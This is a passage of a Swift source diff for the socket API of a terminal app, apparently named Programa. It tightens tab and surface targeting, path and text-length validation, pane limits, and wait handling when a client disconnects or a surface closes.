= params["all"] == nil && name == nil && domain == nil - let targets = cookies.filter { cookie in - if clearAll { return true } - if let name, cookie.name != name { return false } - if let domain, !cookie.domain.contains(domain) { return false } - return true - } + let pageHost = browserPanel.currentURL?.host ?? "" + let targets = v2BrowserScopedCookies(cookies, params: params, pageHost: pageHost) var removed = 0 for cookie in targets { @@ -5430,7 +4802,7 @@ extension TerminalController { return } - guard let panel = ws.newBrowserSurface(inPane: pane, url: url, focus: true) else { + guard let panel = ws.newBrowserSurface(inPane: pane, url: url, focus: v2FocusAllowed()) else { result = .err(code: "internal_error", message: "Failed to create browser tab", data: nil) return } @@ -5447,6 +4819,23 @@ extension TerminalController { return result } + /// Shared tab.switch / tab.close target. A selector that is present resolves only through + /// itself (`target_surface_id`/`tab_id`, then `index`, then `surface_id`), so a miss is + /// nil and never retargets; the focused tab is used only when no selector was given. + func v2BrowserTabTarget(params: [String: Any], browserIds: [UUID], focusedPanelId: UUID?) -> UUID? { + if v2HasNonNullParam(params, "target_surface_id") || v2HasNonNullParam(params, "tab_id") { + return v2UUID(params, "target_surface_id") ?? v2UUID(params, "tab_id") + } + if v2HasNonNullParam(params, "index") { + guard let index = v2Int(params, "index"), browserIds.indices.contains(index) else { return nil } + return browserIds[index] + } + if v2HasNonNullParam(params, "surface_id") { + return v2UUID(params, "surface_id") + } + return focusedPanelId + } + func v2BrowserTabSwitch(params: [String: Any]) -> V2CallResult { guard let tabManager = v2ResolveTabManager(params: params) else { return .err(code: "unavailable", message: "TabManager not available", data: nil) @@ -5463,16 +4852,7 @@ extension TerminalController { (panel as? BrowserPanel)?.id } - let targetId: UUID? = { - if let explicit = v2UUID(params, "target_surface_id") ?? v2UUID(params, "tab_id") { - return explicit - } - if let idx = v2Int(params, "index"), idx >= 0, idx < browserIds.count { - return browserIds[idx] - } - return v2UUID(params, "surface_id") - }() - + let targetId = v2BrowserTabTarget(params: params, browserIds: browserIds, focusedPanelId: ws.focusedPanelId) guard let targetId, browserIds.contains(targetId) else { result = .err(code: "not_found", message: "Browser tab not found", data: nil) return @@ -5509,19 +4889,7 @@ extension TerminalController { return } - let targetId: UUID? = { - if let explicit = v2UUID(params, "target_surface_id") ?? v2UUID(params, "tab_id") { - return explicit - } - if let idx = v2Int(params, "index"), idx >= 0, idx < browserIds.count { - return browserIds[idx] - } - if let sid = v2UUID(params, "surface_id") { - return sid - } - return ws.focusedPanelId - }() - + let targetId = v2BrowserTabTarget(params: params, browserIds: browserIds, focusedPanelId: ws.focusedPanelId) guard let targetId, browserIds.contains(targetId) else { result = .err(code: "not_found", message: "Browser tab not found", data: nil) return @@ -5711,9 +5079,14 @@ extension TerminalController { } func v2BrowserStateLoad(params: [String: Any]) -> V2CallResult { - guard let path = v2String(params, "path") else { + guard let rawPath = v2String(params, "path") else { return .err(code: "invalid_params", message: "Missing path", data: nil) } + // Same rule as state.save: a relative path would resolve against the app's cwd. + let path = NSString(string: rawPath).expandingTildeInPath + guard path.hasPrefix("/") else { + return .err(code: "invalid_params", message: "Path must be absolute: \(path)", data: ["path": path]) + } let preparedState: V2BrowserStateRestorer.PreparedState switch V2BrowserStateRestorer.prepare(fileURL: URL(fileURLWithPath: path)) { diff --git a/Sources/TerminalController+Layout.swift b/Sources/TerminalController+Layout.swift index e3e67b338..d352aa277 100644 --- a/Sources/TerminalController+Layout.swift +++ b/Sources/TerminalController+Layout.swift @@ -17,7 +17,11 @@ extension TerminalController { return .err(code: "unavailable", message: "TabManager not available", data: nil) } guard let name else { return v2InvalidParam("name") } - guard let workspace = tabManager.selectedWorkspace else { + // Honors workspace_id/surface_id like layout.apply; the selected workspace otherwise. + guard let workspace = v2ResolveWorkspace(params: params, tabManager: tabManager) else { + if v2HasNonNullParam(params, "workspace_id") || v2HasNonNullParam(params, "surface_id") { + return .err(code: "not_found", message: "Workspace not found", data: nil) + } return .err(code: "no_active_workspace", message: "No active workspace with capturable panes to save", data: nil) } guard let node = workspace.captureCustomLayout() else { diff --git a/Sources/TerminalController+Notification.swift b/Sources/TerminalController+Notification.swift index b44349110..6f25759ef 100644 --- a/Sources/TerminalController+Notification.swift +++ b/Sources/TerminalController+Notification.swift @@ -22,7 +22,8 @@ extension TerminalController { nonisolated func v2NotificationCreate(params: [String: Any]) -> V2CallResult { let explicitSurfaceId = v2UUID(params, "surface_id") - let title = (params["title"] as? String) ?? "Notification" + if let limitError = v2TextLimitError(params, Self.v2NotificationTextLimits) { return limitError } + let title = (params["title"] as? String) ?? Self.v2DefaultNotificationTitle let subtitle = (params["subtitle"] as? String) ?? "" let body = (params["body"] as? String) ?? "" @@ -33,11 +34,12 @@ extension TerminalController { guard let ws = v2ResolveWorkspace(params: params, tabManager: tabManager) else { return .err(code: "not_found", message: "Workspace not found", data: nil) } - if let explicitSurfaceId, ws.panels[explicitSurfaceId] == nil { + // A surface_id that was passed but does not resolve must not retarget the focused surface. + if v2HasNonNullParam(params, "surface_id"), explicitSurfaceId.map({ ws.panels[$0] == nil }) ?? true { return .err( code: "not_found", message: "Surface not found", - data: ["surface_id": explicitSurfaceId.uuidString] + data: ["surface_id": v2OrNull(v2String(params, "surface_id"))] ) } let surfaceId = explicitSurfaceId ?? ws.focusedPanelId @@ -55,7 +57,8 @@ extension TerminalController { nonisolated func v2NotificationCreateForSurface(params: [String: Any]) -> V2CallResult { let surfaceId = v2UUID(params, "surface_id") - let title = (params["title"] as? String) ?? "Notification" + if let limitError = v2TextLimitError(params, Self.v2NotificationTextLimits) { return limitError } + let title = (params["title"] as? String) ?? Self.v2DefaultNotificationTitle let subtitle = (params["subtitle"] as? String) ?? "" let body = (params["body"] as? String) ?? "" @@ -87,7 +90,8 @@ extension TerminalController { nonisolated func v2NotificationCreateForTarget(params: [String: Any]) -> V2CallResult { let wsId = v2UUID(params, "workspace_id") let surfaceId = v2UUID(params, "surface_id") - let title = (params["title"] as? String) ?? "Notification" + if let limitError = v2TextLimitError(params, Self.v2NotificationTextLimits) { return limitError } + let title = (params["title"] as? String) ?? Self.v2DefaultNotificationTitle let subtitle = (params["subtitle"] as? String) ?? "" let body = (params["body"] as? String) ?? "" diff --git a/Sources/TerminalController+Pane.swift b/Sources/TerminalController+Pane.swift index fbc0ed7d1..2e7b1fef6 100644 --- a/Sources/TerminalController+Pane.swift +++ b/Sources/TerminalController+Pane.swift @@ -185,6 +185,9 @@ extension TerminalController { guard let focusedPanelId = ws.focusedPanelId else { return .err(code: "not_found", message: "No focused surface to split", data: nil) } + if let limitError = v2PaneLimitError(for: ws) { + return limitError + } let newPanelId: UUID? if panelType == .browser { @@ -533,7 +536,7 @@ extension TerminalController { workspace: sourceWorkspace, paneId: $0, index: sourceIndex, - focus: true + focus: v2FocusAllowed() ) } diff --git a/Sources/TerminalController+SocketContext.swift b/Sources/TerminalController+SocketContext.swift new file mode 100644 index 000000000..f195148f5 --- /dev/null +++ b/Sources/TerminalController+SocketContext.swift @@ -0,0 +1,160 @@ +import Foundation + +/// Why `v2ResolveTabManager` returned nil for a selector the client did pass. The ~80 handlers +/// that call it answer a generic `unavailable` on nil; `v2Result` swaps that for this typed +/// error, so an unknown ref or UUID reads `not_found` and a malformed one `invalid_params`. +struct V2SelectorResolutionFailure { + let code: String + let message: String + let data: [String: Any] +} + +extension TerminalController { + private nonisolated static let selectorResolutionFailureThreadKey = + "com.darkroom.programa.socket-selector-resolution-failure" + + /// Records the failure for `key` on the current thread and returns nil, so a resolver can + /// write `guard ... else { return v2SelectorUnresolved(params, "window_id") }`. + nonisolated func v2SelectorUnresolved(_ params: [String: Any], _ key: String) -> T? { + let raw = (params[key] as? String) ?? String(describing: params[key] ?? "") + let trimmed = raw.trimmingCharacters(in: .whitespacesAndNewlines) + let wellFormed = UUID(uuidString: trimmed) != nil + || trimmed.range(of: #"^[a-z_]+:[0-9]+$"#, options: .regularExpression) != nil + let failure = wellFormed + ? V2SelectorResolutionFailure(code: "not_found", message: "\(key) not found: \(trimmed)", data: [key: trimmed]) + : V2SelectorResolutionFailure(code: "invalid_params", message: "Missing or invalid \(key)", data: [key: raw]) + Thread.current.threadDictionary[Self.selectorResolutionFailureThreadKey] = failure + return nil + } + + /// Returns and clears the current thread's recorded failure. + nonisolated static func v2TakeSelectorResolutionFailure() -> V2SelectorResolutionFailure? { + let threadDictionary = Thread.current.threadDictionary + let failure = threadDictionary[selectorResolutionFailureThreadKey] as? V2SelectorResolutionFailure + threadDictionary.removeObject(forKey: selectorResolutionFailureThreadKey) + return failure + } + + /// Moves a failure recorded on main during a `v2MainSync` body to the socket thread that is + /// blocked waiting for it (safe: that thread does nothing until `main.sync` returns). + nonisolated static func v2MoveSelectorResolutionFailure(to caller: Thread) { + guard let failure = v2TakeSelectorResolutionFailure() else { return } + caller.threadDictionary[selectorResolutionFailureThreadKey] = failure + } +} + +extension TerminalController { + /// Pinned `limit_reached` error for split requests at `SplitPolicy.maxPanesPerWorkspace`, + /// checked before any panel is built (the Bonsplit veto alone surfaces as internal_error). + func v2PaneLimitError(for workspace: Workspace) -> V2CallResult? { + let maxPanes = SplitPolicy.maxPanesPerWorkspace + guard workspace.bonsplitController.allPaneIds.count >= maxPanes else { return nil } + return .err( + code: "limit_reached", + message: "Workspace already has the maximum of \(maxPanes) panes", + data: ["max_panes": maxPanes] + ) + } +} + +extension TerminalController { + /// Notification text and agent identity strings get the same kind of ceiling the sibling + /// telemetry commands enforce: an oversized value is rejected, not stored. + nonisolated static let v2NotificationTextLimits: [(key: String, maxBytes: Int)] = [ + ("title", SidebarTelemetryLimits.maxStatusValueBytes), + ("subtitle", SidebarTelemetryLimits.maxStatusValueBytes), + ("body", SidebarTelemetryLimits.maxLogMessageBytes), + ] + nonisolated static let v2AgentIdentityLimits: [(key: String, maxBytes: Int)] = [ + "provider", "session_id", "turn_id", "item_id", "label", "resolution", + ].map { ($0, SidebarTelemetryLimits.maxKeyBytes) } + + nonisolated func v2TextLimitError(_ params: [String: Any], _ limits: [(key: String, maxBytes: Int)]) -> V2CallResult? { + for limit in limits { + guard let value = params[limit.key] as? String, + !SidebarTelemetryLimits.isWithinUTF8Limit(value, maxBytes: limit.maxBytes) else { continue } + return .err( + code: "invalid_params", + message: "\(limit.key) exceeds \(limit.maxBytes) bytes", + data: ["param": limit.key, "max_bytes": limit.maxBytes] + ) + } + return nil + } + + nonisolated static var v2DefaultNotificationTitle: String { + String(localized: "sock.notification.defaultTitle", defaultValue: "Notification") + } +} + +// MARK: - Long waits (surface.wait, agent.prompt) + +enum V2WatchedWaitOutcome { + case signaled + case timedOut + case surfaceClosed + case clientGone +} + +extension TerminalController { + private nonisolated static let socketClientFDThreadKey = "com.darkroom.programa.socket-client-fd" + /// How often a long wait re-checks that its surface and its client still exist. + nonisolated static let watchedWaitCheckInterval: TimeInterval = 0.25 + /// Upper bound for caller-supplied surface.wait / agent.prompt timeouts (one hour). + nonisolated static let watchedWaitMaxTimeoutMs = 3_600_000 + + /// Called once by `handleClient` on its per-connection thread. + nonisolated static func v2SetCurrentSocketClientFD(_ fd: Int32) { + Thread.current.threadDictionary[socketClientFDThreadKey] = NSNumber(value: fd) + } + + /// True when the client that issued the current request has hung up. Peeks without + /// consuming, so a pipelined next request stays in the buffer for the read loop. + nonisolated func v2SocketClientDisconnected() -> Bool { + guard let fd = (Thread.current.threadDictionary[Self.socketClientFDThreadKey] as? NSNumber)?.int32Value else { + return false + } + var descriptor = pollfd(fd: fd, events: Int16(POLLIN), revents: 0) + guard poll(&descriptor, 1, 0) > 0 else { return false } + if descriptor.revents & Int16(POLLHUP | POLLERR | POLLNVAL) != 0 { return true } + guard descriptor.revents & Int16(POLLIN) != 0 else { return false } + var byte: UInt8 = 0 + return recv(fd, &byte, 1, MSG_PEEK | MSG_DONTWAIT) == 0 + } + + /// The workspace that currently holds `surfaceId`, looked up by id in every window (not via + /// the request's selectors, which may now point elsewhere), then in the controller's own + /// TabManager (covers a manager handed to `start(tabManager:)` that no window registered). + func v2WorkspaceContaining(surfaceId: UUID) -> Workspace? { + if let location = AppDelegate.shared?.locateSurface(surfaceId: surfaceId), + let workspace = location.tabManager.tabs.first(where: { $0.id == location.workspaceId }) { + return workspace + } + return tabManager?.tabs.first(where: { $0.panels[surfaceId] != nil }) + } + + nonisolated func v2SurfaceStillExists(_ surfaceId: UUID) -> Bool { + v2MainSync { v2WorkspaceContaining(surfaceId: surfaceId) != nil } + } + + /// Waits on `semaphore` in short slices so the wait ends early when the surface closes or + /// the client disconnects, instead of pinning this connection's thread until the deadline. + nonisolated func v2WatchedWait(_ semaphore: DispatchSemaphore, until deadline: Date, surfaceId: UUID) -> V2WatchedWaitOutcome { + while true { + let remaining = deadline.timeIntervalSinceNow + guard remaining > 0 else { return .timedOut } + if semaphore.wait(timeout: .now() + min(remaining, Self.watchedWaitCheckInterval)) == .success { + return .signaled + } + if v2SocketClientDisconnected() { return .clientGone } + if !v2SurfaceStillExists(surfaceId) { + // The event may have fired just before the panel went away; prefer it. + return semaphore.wait(timeout: .now()) == .success ? .signaled : .surfaceClosed + } + } + } + + nonisolated var v2ClientGoneError: V2CallResult { + .err(code: "client_disconnected", message: "Client disconnected while waiting", data: nil) + } +} diff --git a/Sources/TerminalController+Surface.swift b/Sources/TerminalController+Surface.swift index 7a0ae5d34..e04fb579b 100644 --- a/Sources/TerminalController+Surface.swift +++ b/Sources/TerminalController+Surface.swift @@ -106,6 +106,10 @@ extension TerminalController { guard let ws = v2ResolveWorkspace(params: params, tabManager: tabManager) else { return .err(code: "not_found", message: "Workspace not found", data: nil) } + // Validate before raising the window or switching workspace (no side effects on error). + guard ws.panels[surfaceId] != nil else { + return .err(code: "not_found", message: "Surface not found", data: ["surface_id": surfaceId.uuidString]) + } if let windowId = v2ResolveWindowId(tabManager: tabManager) { _ = AppDelegate.shared?.focusMainWindow(windowId: windowId) @@ -117,10 +121,6 @@ extension TerminalController { tabManager.selectWorkspace(ws) } - guard ws.panels[surfaceId] != nil else { - return .err(code: "not_found", message: "Surface not found", data: ["surface_id": surfaceId.uuidString]) - } - ws.focusPanel(surfaceId) return .ok(["workspace_id": ws.id.uuidString, "workspace_ref": v2Ref(kind: .workspace, uuid: ws.id), "surface_id": surfaceId.uuidString, "surface_ref": v2Ref(kind: .surface, uuid: surfaceId), "window_id": v2OrNull(v2ResolveWindowId(tabManager: tabManager)?.uuidString), "window_ref": v2Ref(kind: .window, uuid: v2ResolveWindowId(tabManager: tabManager))]) } @@ -139,16 +139,23 @@ extension TerminalController { return .err(code: "not_found", message: "Workspace not found", data: nil) } let requestedSurfaceId: UUID? = v2UUID(params, "surface_id") - // Fall back to focused surface if the requested surface no longer exists (e.g. closed teammate pane) - let targetSurfaceId: UUID? = requestedSurfaceId.flatMap({ ws.panels[$0] != nil ? $0 : nil }) ?? ws.focusedPanelId - guard let targetSurfaceId, ws.panels[targetSurfaceId] != nil else { + // An explicit surface_id that no longer resolves (e.g. a closed teammate pane) is an + // error: splitting whatever the user has focused instead would land in the wrong place. + if v2HasNonNullParam(params, "surface_id"), requestedSurfaceId.map({ ws.panels[$0] == nil }) ?? true { + return .err(code: "not_found", message: "Surface not found", data: ["surface_id": v2OrNull(v2String(params, "surface_id"))]) + } + // No surface_id (e.g. a CLI call outside a Programa terminal): split the focused surface. + guard let targetSurfaceId = requestedSurfaceId ?? ws.focusedPanelId, ws.panels[targetSurfaceId] != nil else { return .err(code: "not_found", message: "No focused surface", data: nil) } + if let limitError = v2PaneLimitError(for: ws) { + return limitError + } v2MaybeFocusWindow(for: tabManager) v2MaybeSelectWorkspace(tabManager, workspace: ws) - let focus = v2Bool(params, "focus") ?? true + let focus = v2FocusAllowed(requested: v2Bool(params, "focus") ?? true) if let newId = tabManager.newSplit(tabId: ws.id, surfaceId: targetSurfaceId, direction: direction, focus: focus) { let paneUUID = ws.paneId(forPanelId: newId)?.id let windowId = v2ResolveWindowId(tabManager: tabManager) @@ -565,6 +572,46 @@ extension TerminalController { } } + /// Same rule as the CLI's `normalizedTTYName` (CLI/CLI+Hooks.swift): trimmed, "not a tty" + /// is no name, and only the last path component counts ("/dev/ttys004" == "ttys004"). + nonisolated static func v2NormalizedTTYName(_ raw: String?) -> String? { + guard let trimmed = raw?.trimmingCharacters(in: .whitespacesAndNewlines), + !trimmed.isEmpty, trimmed != "not a tty" else { return nil } + if let last = trimmed.split(separator: "/").last, !last.isEmpty { return String(last) } + return trimmed + } + + /// `surface.resolve_tty`: the one terminal surface whose tty matches `tty`, for CLI hooks + /// that bind their caller by TTY. Returns only that surface's ids, never the terminal list. + /// Runs on main: `surfaceTTYNames` and the window/workspace model are main-actor state and + /// this is a one-shot lookup per hook invocation, not telemetry. Never changes selection. + nonisolated func v2SurfaceResolveTTY(params: [String: Any]) -> V2CallResult { + guard let ttyName = Self.v2NormalizedTTYName(v2RawString(params, "tty")) else { + return v2InvalidParam("tty") + } + return v2MainSync { + var tabManagers: [TabManager] = [] + if let app = AppDelegate.shared { + tabManagers = app.listMainWindowSummaries().compactMap { app.tabManagerFor(windowId: $0.windowId) } + } + if let tabManager, !tabManagers.contains(where: { $0 === tabManager }) { + tabManagers.append(tabManager) + } + for workspace in tabManagers.flatMap(\.tabs) { + for (surfaceId, rawTTY) in workspace.surfaceTTYNames + where Self.v2NormalizedTTYName(rawTTY) == ttyName && workspace.panels[surfaceId] is TerminalPanel { + return .ok([ + "workspace_id": workspace.id.uuidString, + "workspace_ref": v2Ref(kind: .workspace, uuid: workspace.id), + "surface_id": surfaceId.uuidString, + "surface_ref": v2Ref(kind: .surface, uuid: surfaceId), + ]) + } + } + return .err(code: "not_found", message: "No terminal surface has that tty", data: ["tty": ttyName]) + } + } + nonisolated func v2DebugTerminals(params _: [String: Any]) -> V2CallResult { v2MainSync { guard let app = AppDelegate.shared else { @@ -872,7 +919,10 @@ extension TerminalController { "socket.surface.send_text workspace=\(ws.id.uuidString.prefix(8)) surface=\(surfaceId.uuidString.prefix(8)) queued=\(queued ? 1 : 0) chars=\(text.count) ms=\(String(format: "%.2f", sendMs))" ) #endif - return .ok(["workspace_id": ws.id.uuidString, "workspace_ref": v2Ref(kind: .workspace, uuid: ws.id), "surface_id": surfaceId.uuidString, "surface_ref": v2Ref(kind: .surface, uuid: surfaceId), "window_id": v2OrNull(v2ResolveWindowId(tabManager: tabManager)?.uuidString), "window_ref": v2Ref(kind: .window, uuid: v2ResolveWindowId(tabManager: tabManager))]) + var payload: [String: Any] = ["workspace_id": ws.id.uuidString, "workspace_ref": v2Ref(kind: .workspace, uuid: ws.id), "surface_id": surfaceId.uuidString, "surface_ref": v2Ref(kind: .surface, uuid: surfaceId), "window_id": v2OrNull(v2ResolveWindowId(tabManager: tabManager)?.uuidString), "window_ref": v2Ref(kind: .window, uuid: v2ResolveWindowId(tabManager: tabManager))] + // The surface was not attached: the text waits in the panel's pending queue. + if queued { payload["queued"] = true } + return .ok(payload) } } @@ -1111,6 +1161,16 @@ extension TerminalController { return chunks } + /// Chunks as keys are pressed: a CR immediately followed by LF is one Return, matching + /// `TerminalSurface.sendInput`'s previous-was-CR rule ("ls\r\n" must not press Return twice). + nonisolated static func socketKeyChunks(_ text: String) -> [SocketTextChunk] { + var previousWasCR = false + return socketTextChunks(text).filter { chunk in + defer { previousWasCR = chunk == .control("\r") } + return !(previousWasCR && chunk == .control("\n")) + } + } + private nonisolated static func isSocketControlScalar(_ scalar: UnicodeScalar) -> Bool { switch scalar.value { case 0x0A, 0x0D, 0x09, 0x1B, 0x7F: @@ -1145,7 +1205,7 @@ extension TerminalController { // (a separate v2MainSync call) would reopen the exact race window surface.wait's atomic // check+register pattern exists to close. func sendSocketText(_ text: String, surface: ghostty_surface_t) { - let chunks = Self.socketTextChunks(text) + let chunks = Self.socketKeyChunks(text) #if DEBUG let startedAt = ProcessInfo.processInfo.systemUptime #endif diff --git a/Sources/TerminalController+SurfaceWait.swift b/Sources/TerminalController+SurfaceWait.swift index b46612670..50bf2b96b 100644 --- a/Sources/TerminalController+SurfaceWait.swift +++ b/Sources/TerminalController+SurfaceWait.swift @@ -228,11 +228,13 @@ extension TerminalController { /// `blocked`, or `any_change`). Exactly one of `pattern` / `exit` / `agent_state` must be /// provided. nonisolated func v2SurfaceWait(params: [String: Any]) -> V2CallResult { - let timeoutMs = max(1, v2Int(params, "timeout_ms") ?? v2Int(params, "timeout") ?? 30_000) + let requestedTimeoutMs = v2Int(params, "timeout_ms") ?? v2Int(params, "timeout") ?? 30_000 + let timeoutMs = min(Self.watchedWaitMaxTimeoutMs, max(1, requestedTimeoutMs)) let timeout = Double(timeoutMs) / 1000.0 let deadline = Date().addingTimeInterval(timeout) - let patternRaw = v2String(params, "pattern") + // Raw (untrimmed): leading/trailing whitespace can be part of the regex. + let patternRaw = v2RawString(params, "pattern").flatMap { $0.isEmpty ? nil : $0 } let waitForExit = v2Bool(params, "exit") ?? false let agentStateRaw = v2String(params, "agent_state") @@ -340,6 +342,11 @@ extension TerminalController { } if waitForExit { + // Only terminals have a child process; a browser exit wait would never resolve. + guard panel is TerminalPanel else { + setupError = .err(code: "invalid_params", message: "exit waits need a terminal surface", data: ["surface_id": surfaceId.uuidString]) + return + } exitWaiterToken = SurfaceExitWaitRegistry.shared.addWaiter(surfaceId: surfaceId) { exitSemaphore.signal() } @@ -385,6 +392,7 @@ extension TerminalController { func result( waited: Bool, + closed: Bool = false, matched: String? = nil, agentState: AgentActivityState?? = nil, agentStateSource: AgentStateSource?? = nil @@ -407,6 +415,9 @@ extension TerminalController { "condition": condition, "waited": waited ] + if closed { + payload["outcome"] = "closed" + } if let matched { payload["match"] = matched } @@ -430,21 +441,28 @@ extension TerminalController { guard let exitWaiterToken else { return .err(code: "internal_error", message: "Failed to register exit watcher", data: nil) } - if exitSemaphore.wait(timeout: .now() + timeout) == .success { - return result(waited: true) - } + let outcome = v2WatchedWait(exitSemaphore, until: deadline, surfaceId: surfaceIdOut) + if case .signaled = outcome { return result(waited: true) } SurfaceExitWaitRegistry.shared.removeWaiter(surfaceId: surfaceIdOut, token: exitWaiterToken) - return .err(code: "timeout", message: "Surface did not exit before timeout", data: ["timeout_ms": timeoutMs]) + switch outcome { + case .surfaceClosed: return result(waited: true, closed: true) + case .clientGone: return v2ClientGoneError + case .signaled, .timedOut: + return .err(code: "timeout", message: "Surface did not exit before timeout", data: ["timeout_ms": timeoutMs]) + } } if let agentStateCondition { guard let agentStateWaiterToken else { return .err(code: "internal_error", message: "Failed to register agent_state watcher", data: nil) } - if agentStateSemaphore.wait(timeout: .now() + timeout) == .success { + let outcome = v2WatchedWait(agentStateSemaphore, until: deadline, surfaceId: surfaceIdOut) + if case .signaled = outcome { return result(waited: true, agentState: resolvedAgentState, agentStateSource: resolvedAgentStateSource) } AgentStateWaitRegistry.shared.removeWaiter(surfaceId: surfaceIdOut, token: agentStateWaiterToken) + if case .surfaceClosed = outcome { return result(waited: true, closed: true) } + if case .clientGone = outcome { return v2ClientGoneError } return .err( code: "timeout", message: "Surface's agent_state did not reach '\(agentStateCondition.rawValue)' before timeout", @@ -454,24 +472,22 @@ extension TerminalController { // Pattern condition: poll on this connection's own thread (not main, not a shared // command queue -- see file header) until the regex matches new state or the deadline - // passes. Each tick re-resolves the surface, so a surface closed mid-wait resolves to a - // clear error instead of hanging until timeout. + // passes. Each tick re-locates the surface by id in every window (not via the request's + // workspace selector, which may now point at another selected workspace), so a surface + // closed mid-wait resolves as `outcome: closed` instead of hanging until timeout. guard let regex else { return .err(code: "internal_error", message: "Missing compiled pattern", data: nil) } while Date() < deadline { Thread.sleep(forTimeInterval: Self.surfaceWaitPollInterval) + if v2SocketClientDisconnected() { return v2ClientGoneError } var tickError: V2CallResult? var tickMatch: String? + var surfaceClosed = false v2MainSync { - guard let tabManager = self.v2ResolveTabManager(params: params), - let ws = self.v2ResolveWorkspace(params: params, tabManager: tabManager) else { - tickError = .err(code: "not_found", message: "Workspace not found", data: nil) - return - } - guard let panel = ws.panels[surfaceIdOut] else { - tickError = .err(code: "not_found", message: "Surface closed while waiting", data: ["surface_id": surfaceIdOut.uuidString]) + guard let panel = self.v2WorkspaceContaining(surfaceId: surfaceIdOut)?.panels[surfaceIdOut] else { + surfaceClosed = true return } guard let terminalPanel = panel as? TerminalPanel else { @@ -483,6 +499,7 @@ extension TerminalController { } tickMatch = self.v2SurfaceWaitFirstMatch(regex: regex, in: text) } + if surfaceClosed { return result(waited: true, closed: true) } if let tickError { return tickError } if let tickMatch { return result(waited: true, matched: tickMatch) } } diff --git a/Sources/TerminalController+System.swift b/Sources/TerminalController+System.swift index b6347e21b..01608b8dc 100644 --- a/Sources/TerminalController+System.swift +++ b/Sources/TerminalController+System.swift @@ -398,10 +398,11 @@ extension TerminalController { "worktree_folder_repo_root": v2OrNull(workspace.worktreeFolderRepoRoot), "is_worktree_folder": workspace.isWorktreeFolder, "agent_parent_workspace_id": v2OrNull(workspace.agentParentWorkspaceId?.uuidString), - "agent_state": v2OrNull(AgentSupervisionMetadata.aggregateState( + "agent_state": v2OrNull(AgentSupervisionMetadata.currentActivityState( for: workspace, records: workspaceHelpers )), + "helper_outcomes": AgentSupervisionMetadata.helperOutcomes(records: workspaceHelpers), "agent_state_source": v2OrNull(AgentSupervisionMetadata.aggregateSource( for: workspace, records: workspaceHelpers diff --git a/Sources/TerminalController+Telemetry.swift b/Sources/TerminalController+Telemetry.swift index 94ce36bd2..1a8edf24b 100644 --- a/Sources/TerminalController+Telemetry.swift +++ b/Sources/TerminalController+Telemetry.swift @@ -283,6 +283,7 @@ extension TerminalController { guard let surfaceId = v2CachedUUID(params, "surface_id") else { return v2InvalidParam("surface_id") } + if let limitError = v2TextLimitError(params, Self.v2AgentIdentityLimits) { return limitError } guard let rawState = v2RawString(params, "state"), let state = AgentActivityState(rawValue: rawState.trimmingCharacters(in: .whitespacesAndNewlines).lowercased()) else { return .err(code: "invalid_params", message: "Invalid state — use: working, blocked, idle", data: nil) @@ -376,6 +377,7 @@ extension TerminalController { guard let surfaceId = v2CachedUUID(params, "surface_id") else { return v2InvalidParam("surface_id") } + if let limitError = v2TextLimitError(params, Self.v2AgentIdentityLimits) { return limitError } guard let rawEventType = v2RawString(params, "event_type")?.trimmingCharacters(in: .whitespacesAndNewlines), !rawEventType.isEmpty, let outcome = AgentEventNormalizer.classify(eventType: rawEventType) else { @@ -464,6 +466,8 @@ extension TerminalController { guard let surfaceId = v2CachedUUID(params, "surface_id") else { return v2InvalidParam("surface_id") } + if let limitError = v2TextLimitError(params, Self.v2AgentIdentityLimits) { return limitError } + if let limitError = v2TextLimitError(params, Self.v2NotificationTextLimits) { return limitError } let rawProvider = v2RawString(params, "provider")?.trimmingCharacters(in: .whitespacesAndNewlines) let provider = (rawProvider?.isEmpty == false) ? rawProvider! : "unknown" let title = (params["title"] as? String) ?? "" diff --git a/Sources/TerminalController+Workspace.swift b/Sources/TerminalController+Workspace.swift index 115d00a73..8d1bd4198 100644 --- a/Sources/TerminalController+Workspace.swift +++ b/Sources/TerminalController+Workspace.swift @@ -42,10 +42,11 @@ extension TerminalController { "worktree_folder_repo_root": v2OrNull(workspace.worktreeFolderRepoRoot), "is_worktree_folder": workspace.isWorktreeFolder, "agent_parent_workspace_id": v2OrNull(workspace.agentParentWorkspaceId?.uuidString), - "agent_state": v2OrNull(AgentSupervisionMetadata.aggregateState( + "agent_state": v2OrNull(AgentSupervisionMetadata.currentActivityState( for: workspace, records: helpers )), + "helper_outcomes": AgentSupervisionMetadata.helperOutcomes(records: helpers), "agent_state_source": v2OrNull(AgentSupervisionMetadata.aggregateSource( for: workspace, records: helpers @@ -222,13 +223,21 @@ extension TerminalController { "pinned": true ]) } - tabManager.closeWorkspace(ws) - return .ok([ + let closeData: [String: Any] = [ "window_id": v2OrNull(windowId?.uuidString), "window_ref": v2Ref(kind: .window, uuid: windowId), "workspace_id": wsId.uuidString, "workspace_ref": v2Ref(kind: .workspace, uuid: wsId) - ]) + ] + // TabManager.closeWorkspace silently keeps a window's last workspace. + guard tabManager.tabs.count > 1 else { + return .err(code: "invalid_state", message: "Use window.close to close the last workspace", data: closeData) + } + tabManager.closeWorkspace(ws) + guard !tabManager.tabs.contains(where: { $0.id == wsId }) else { + return .err(code: "internal_error", message: "Workspace was not closed", data: closeData) + } + return .ok(closeData) } } @@ -840,7 +849,7 @@ extension TerminalController { guard let newPanel = workspace.newBrowserSurface( inPane: paneId, url: browserPanel.currentURL, - focus: true + focus: v2FocusAllowed() ) else { result = .err(code: "internal_error", message: "Failed to duplicate tab", data: nil) return result @@ -861,7 +870,7 @@ extension TerminalController { } let targetIndex = insertionIndexToRight(anchorTabId: anchorTabId, inPane: paneId) - guard let newPanel = workspace.newTerminalSurface(inPane: paneId, focus: true) else { + guard let newPanel = workspace.newTerminalSurface(inPane: paneId, focus: v2FocusAllowed()) else { result = .err(code: "internal_error", message: "Failed to create tab", data: nil) return result } @@ -888,7 +897,7 @@ extension TerminalController { } let targetIndex = insertionIndexToRight(anchorTabId: anchorTabId, inPane: paneId) - guard let newPanel = workspace.newBrowserSurface(inPane: paneId, url: url, focus: true) else { + guard let newPanel = workspace.newBrowserSurface(inPane: paneId, url: url, focus: v2FocusAllowed()) else { result = .err(code: "internal_error", message: "Failed to create tab", data: nil) return result } diff --git a/Sources/TerminalController.swift b/Sources/TerminalController.swift index ed6b90144..8cbbb836e 100644 --- a/Sources/TerminalController.swift +++ b/Sources/TerminalController.swift @@ -59,13 +59,13 @@ class TerminalController { var tabManager: TabManager? private nonisolated(unsafe) var accessMode: SocketControlMode = .programaOnly private let myPid = getpid() - private nonisolated(unsafe) static var socketCommandPolicyDepth: Int = 0 - private nonisolated static let socketCommandPolicyLock = NSLock() - // Each connection has its own handler thread. Focus intent belongs to that request, - // not to the process-wide 